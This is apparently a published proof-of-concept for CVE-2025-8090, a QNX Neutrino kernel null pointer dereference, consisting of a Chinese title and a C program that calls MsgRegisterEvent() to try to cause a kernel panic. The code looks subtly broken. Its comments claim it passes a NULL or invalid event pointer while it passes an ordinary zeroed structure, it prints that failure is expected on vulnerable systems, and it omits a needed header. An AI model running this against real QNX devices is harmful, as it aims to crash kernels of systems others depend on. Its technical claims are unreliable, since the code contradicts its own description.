CVE-2025-8090 QNX Neutrino MsgRegisterEvent()空指针解引用拒绝服务漏洞

/* * CVE-2025-8090 PoC - Null Pointer Dereference in MsgRegisterEvent() * Target: QNX Neutrino Kernel * Author: Security Researcher * Note: This is a conceptual PoC for educational purposes only */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/neutrino.h> #include <sys/syspage.h> /* * Trigger the null pointer dereference in MsgRegisterEvent() * by passing a crafted event structure with invalid pointers. */ int trigger_vulnerability() { int chid; int coid; struct _pulse pulse; // Create a channel for receiving pulses chid = ChannelCreate(_NTO_CHF_FIXED_PRIORITY); if (chid == -1) { perror("ChannelCreate failed"); return -1; } // Connect to the channel coid = ConnectAttach(0, 0, chid, _NTO_SIDE_CHANNEL, 0); if (coid == -1) { perror("ConnectAttach failed"); ChannelDestroy(chid); return -1; } /* * Trigger the vulnerability by calling MsgRegisterEvent() * with a NULL or invalid event pointer. * The exact parameters depend on the specific QNX version. */ struct sigevent event; memset(&event, 0, sizeof(struct sigevent)); // Set up an invalid event structure to trigger null pointer dereference event.sigev_notify = SIGEV_PULSE; event.sigev_coid = coid; event.sigev_priority = getprio(0); event.sigev_code = 0x12345678; // This call may trigger the null pointer dereference int ret = MsgRegisterEvent(coid, 0, &event); if (ret == -1) { printf("MsgRegisterEvent failed (expected on vulnerable systems)\n"); } else { printf("MsgRegisterEvent returned: %d\n", ret); } ConnectDetach(coid); ChannelDestroy(chid); return ret; } int main(int argc, char *argv[]) { printf("CVE-2025-8090 PoC - QNX Neutrino MsgRegisterEvent()\n"); printf("Attempting to trigger null pointer dereference...\n"); trigger_vulnerability(); printf("If the system is vulnerable, this may cause a kernel panic.\n"); return 0; }